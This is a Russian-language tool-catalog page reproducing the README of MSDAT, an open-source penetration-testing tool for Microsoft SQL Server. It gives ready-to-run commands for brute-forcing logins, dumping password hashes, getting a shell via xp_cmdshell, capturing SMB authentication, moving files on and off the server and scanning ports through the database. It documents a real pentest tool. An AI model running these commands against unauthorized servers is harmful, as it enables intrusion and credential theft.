Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/quentinhardy/msdat
Повышение привилегийАтаки на ПаролиЭксплуатацияСбор информацииТестирование на ПроникновениеБезопасность Баз Данных
GitHubquentinhardy/msdat

msdat

MSDAT: Инструмент для атак на базы данных Microsoft SQL

Репозиторий
1.0k145153 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Quentin HARDY
[email protected]
[email protected]

MSDAT

MSDAT (Microsoft SQL Database Attacking Tool) — это инструмент для тестирования на проникновение с открытым исходным кодом, который проверяет безопасность Microsoft SQL баз данных удалённо.

Примеры использования MSDAT:

  • У вас есть удалённая база данных Microsoft, и вы хотите найти действительные учётные данные, чтобы подключиться к базе данных.
  • У вас есть действительная учётная запись Microsoft SQL в базе данных, и вы хотите повысить свои привилегии.
  • У вас есть действительная учётная запись Microsoft SQL, и вы хотите выполнять команды в операционной системе, на которой размещена эта БД (например, xp_cmdshell, OLE Automation, задания Agent).

Протестировано на Microsoft SQL Database 2005, 2008, 2012, 2014, 2016 и 2019.

История изменений

  • Версия 2.4 (2022/12/28):
    • 2 новые опции в модуле search: --privs и --privs-full для получения текущих ролей и привилегий пользователя (например, привилегии входа и базы данных)
    • 1 новая опция в модуле search: --config для получения конфигураций и информации о базе данных (версия, базы данных, пользователи, отключенные пользователи, хранимые процедуры и т.д.)
  • Версия 2.3 (2022/12/18):
    • совместимость с Microsoft SQL Server 2019
    • новая опция --schema-dump в модуле search для извлечения схемы и сохранения в файл (кроме стандартных БД)
    • новая опция --table-dump в модуле search для извлечения всех таблиц и сохранения в файл (кроме стандартных БД)
    • новая опция --sql-shell в модуле search для получения минимальной псевдо-SQL оболочки
  • Версия 2.2 (2022/04/29):
    • --nmap-file и -l теперь можно использовать в модуле all и passwordguesser. Вы можете указать список целей с помощью -l или файл nmap с помощью --nmap-file.
    • Множественные исправления ошибок
  • Версия 2.1 (2020/03/04):
    • Опция --nmap-file для загрузки всех служб mssql из XML-файла nmap (необходимо установить python-libnmap)
  • Версия 2.0 (2020/03/04):
    • Python 2 на Python 3: MSDAT теперь совместим только с Python 3. Python 2 не поддерживается.
    • Опция разделителя в модуле подбора паролей
    • Улучшения в обработке ошибок в опции --put-file модуля xpcmdshell
    • Улучшения в опции обратной оболочки модуля jobs
    • Модуль OLE automation — улучшения выполнения команд
    • Модуль OLE automation — реализована обратная оболочка Powershell
    • Новая опция для вывода списка заданий агентов и их кода: --print-jobs
  • Версия 1.2 (2020/02/26):
    • Новый метод в модуле xpCmdShell: загрузка бинарного файла с помощью powershell (--put-file)
    • Улучшение в oleAutomation: загрузка файла в бинарном режиме вместо текстового
  • Версия 1.1 (2019/07/12):
    • множество других стандартных учётных данных. Спасибо https://github.com/govolution/betterdefaultpasslist/

Возможности

Благодаря MSDAT (Microsoft SQL Database Attacking Tool) вы можете (неисчерпывающий список):

  • получить техническую информацию (например, версию базы данных) MSSQL без аутентификации
  • загрузить файл nmap для сканирования всех целей MSSQL
  • искать учётные записи MSSQL с помощью атаки по словарю
  • проверить каждый логин как пароль (требуется аутентификация)
  • получить оболочку Windows на сервере базы данных с помощью
    • xp_cmdshell
    • OLE Automation
    • Jobs
  • загружать файлы удалённо с помощью:
    • OLE Automation
    • bulkinsert
    • openrowset
  • выгружать файлы на сервер с помощью:
    • OLE Automation
    • openrowset
  • перехватить SMB-аутентификацию с помощью:
    • bulkinsert
    • openrowset
    • xp_dirtree
    • xp_fileexist
    • xp-getfiledetails
  • украсть хешированные пароли MSSQL на любой версии MSSQL
  • сканировать порты через базу данных:
    • openrowset
  • выполнять SQL-запросы на удалённом MSSQL-сервере через базу данных (цель) с помощью:
    • bulkinsert
    • openrowset
  • список файлов/каталогов с помощью:
    • xp_subdirs
    • xp_dirtree
  • список дисков/носителей с помощью:
    • xp_fixeddrives
    • xp_availablemedia
  • создать папку с помощью:
    • xp_create_subdir
  • поиск конфиденциальных данных в таблицах (например, учётных данных)
  • получение конфигурации базы данных (базы данных, пользователи, хранимые процедуры и т.д.)
  • извлечение схемы и информации обо всех таблицах
  • выполнение простых SQL-команд в псевдо-SQL оболочке

Установка

Для запуска MSDAT необходимо установить некоторые зависимости.

В Ubuntu:

root@kitploit:~
sudo apt-get install freetds-dev 

или скачайте freetds с http://www.freetds.org/

Установка зависимостей Python:

root@kitploit:~
sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete

или

root@kitploit:~
sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete

Добавьте "use ntlmv2 = yes" в ваш конфигурационный файл freetds (например, /etc/freetds/freetds.conf или /usr/local/etc/freetds.conf). Пример:

root@kitploit:~
[global]
        # TDS protocol version
        tds version = 8.0
        use ntlmv2 = yes

Как начать

root@kitploit:~
python3 msdat.py -h                                                                                                                                                                                                                                                    2 ⨯
usage: msdat.py [-h] [--version]
                {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
                ...

               _   _  __  __   _  ___ 
              | \_/ |/ _||  \ / \|_ _|
              | \_/ |\_ \| o ) o || | 
              |_| |_||__/|__/|_n_||_| 
                        
------------------------------------------------------
 _   _  __            __           _           ___ 
| \_/ |/ _|         |  \         / \         |_ _|
| \_/ |\_ \         | o )         o |         | | 
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool 
                        
-------------------------------------------------------

By Quentin Hardy ([email protected])

positional arguments:
  {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
                        
                        Choose a main command
    all                 to run all modules in order to know what it is possible to do
    mssqlinfo           to get information without authentication
    passwordguesser     to know valid credentials
    passwordstealer     to get hashed passowrds
    xpcmdshell          to get a shell
    jobs                to execute system commands
    smbauthcapture      to capture a SMB authentication
    oleautomation       to read/write file and execute system commands
    bulkopen            to read a file and scan ports
    xpdirectory         to list files/drives and to create directories
    trustworthype       to become sysadmin with the trustwothy database method
    userlikepwd         to try each MSSQL username stored in the DB like the corresponding pwd
    search              to search in column names
    cleaner             clean local traces

optional arguments:
  -h, --help            show this help message and exit
  --version             show program's version number and exit

Примеры

Модули

  • Вы можете вывести список всех модулей:
root@kitploit:~
./msdat.py -h
  • Когда вы выбрали модуль (например: all), вы можете использовать его и вывести список всех функций и опций модуля:
root@kitploit:~
./msdat.py all -h

Вы можете узнать, может ли конкретный модуль быть использован на MSSQL-сервере, с помощью опции --test-module. Эта опция реализована в каждом модуле msdat.

Модуль all

Модуль all позволяет запустить все модули (зависит от указанных вами опций).

root@kitploit:~
python msdat.py all -s $SERVER

Если вы хотите:

  • использовать собственный файл учётных записей для атаки по словарю
  • попробовать несколько паролей для одного пользователя без вашего запроса
  • установить собственное значение тайм-аута
root@kitploit:~
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry

В каждом модуле вы можете задать набор символов с помощью опции --charset.

Модуль mssqlinfo

Чтобы получить техническую информацию об удалённом MSSQL-сервере без аутентификации:

root@kitploit:~
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info

Этот модуль использует протокол TDS и SQL browser Server для получения информации.

Модуль passwordguesser

Этот модуль позволяет искать действительные учётные данные:

root@kitploit:~
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search

Опция --force-retry позволяет тестировать несколько паролей для каждого пользователя без вашего запроса.

Вы можете указать собственный файл учётных записей с помощью опции --accounts-file:

root@kitploit:~
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry

Модуль passwordstealer

Чтобы дампнуть хешированные пароли:

root@kitploit:~
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt

Этот модуль протестирован на SQL Server 2000, 2005, 2008 и 2014.

Модуль xpcmdshell

Чтобы выполнять системные команды с помощью xp_cmdshell (https://msdn.microsoft.com/en-us/library/ms190693.aspx):

root@kitploit:~
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell

Эта команда даёт вам интерактивную оболочку на удалённом сервере базы данных.

Если xp_cmdshell не включён, опцию --enable-xpcmdshell можно использовать в этом модуле для его активации:

root@kitploit:~
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell

Опция --enable-xpcmdshell включает xp_cmdshell, если он не включён (по умолчанию не включён).

Опция --disable-xpcmdshell отключает xp_cmdshell, если он включён.

Модуль smbauthcapture

С помощью этого модуля вы можете перехватить SMB-аутентификацию:

root@kitploit:~
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE

Для перехвата SMB-аутентификации можно использовать модуль auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) metasploit:

root@kitploit:~
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit

Команда capture этого модуля пытается перехватить SMB-аутентификацию с помощью процедур xp_dirtree, xp_fileexist или xp-getfiledetails.

Если вы хотите выбрать процедуру SMB-аутентификации для перехвата:

root@kitploit:~
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1

Вы можете изменить имя SHARE с помощью опции --share-name.

Модуль oleautomation

Этот модуль можно использовать для чтения/записи файлов на сервере базы данных.

Следующая команда читает файл temp.txt, хранящийся на сервере базы данных:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'

Чтобы записать строку в файл (temp.txt) удалённо:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'

Этот модуль можно использовать для загрузки файла (C:\Users\Administrator\Desktop\temp.txt), хранящегося на сервере базы данных:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

Также вы можете использовать этот модуль для выгрузки файла (temp.txt) на целевую машину:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt

Модуль bulkopen

Модуль bulkopen может использоваться:

  • для чтения/загрузки файлов, хранящихся на сервере базы данных
  • для сканирования портов через сервер базы данных
  • для выполнения SQL-запросов на удалённом MSSQL-сервере через базу данных

Чтобы прочитать файл, хранящийся на целевой машине, можно использовать следующую команду:

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"

Опция --method может использоваться для указания используемого метода:

  • bulkinsert (https://msdn.microsoft.com/en-us/library/ms188365.aspx) или
  • openrowset (https://msdn.microsoft.com/en-us/library/ms190312.aspx):
root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset

Чтобы скачать файл (C:\Users\Administrator\Desktop\temp.txt):

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

Этот модуль можно использовать для сканирования портов (1433 и 1434 127.0.0.1) через сервер базы данных:

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v

Вы можете сканировать диапазон портов:

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438

Этот модуль можно использовать для выполнения SQL-запросов (например: select @@ServerName) на удалённом сервере базы данных (например, $SERVER2) через базу данных ($SERVER):

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'

Модуль xpdirectory

Модуль xpdirectory может использоваться:

  • для вывода списка:
    • файлов
    • каталогов
    • дисков
  • для проверки существования файла
  • для создания каталога

Чтобы вывести список файлов в конкретном каталоге:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'

Чтобы вывести список каталогов в конкретном каталоге:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'

Чтобы вывести список дисков:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media

Чтобы проверить существование файла:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'

Чтобы создать каталог:

root@kitploit:~
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'

Модуль search

Модуль search может использоваться для поиска шаблона в именах столбцов таблиц и представлений. Полезно, например, для поиска шаблона %password% в именах столбцов.

Чтобы получить имена столбцов, содержащих шаблоны паролей (например: passwd, password, motdepasse, clave):

root@kitploit:~
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

Если вы хотите видеть имена столбцов, которые не содержат данных, используйте опцию --show-empty-columns.

Чтобы найти конкретный шаблон в именах столбцов представлений и таблиц:

root@kitploit:~
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

Пожертвования

Если вы хотите поддержать мою работу пожертвованием, я буду очень признателен:

  • Через BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf
Скачать инструмент
  • Версия 1.0 (2017/02/15):
    • выпущена первая версия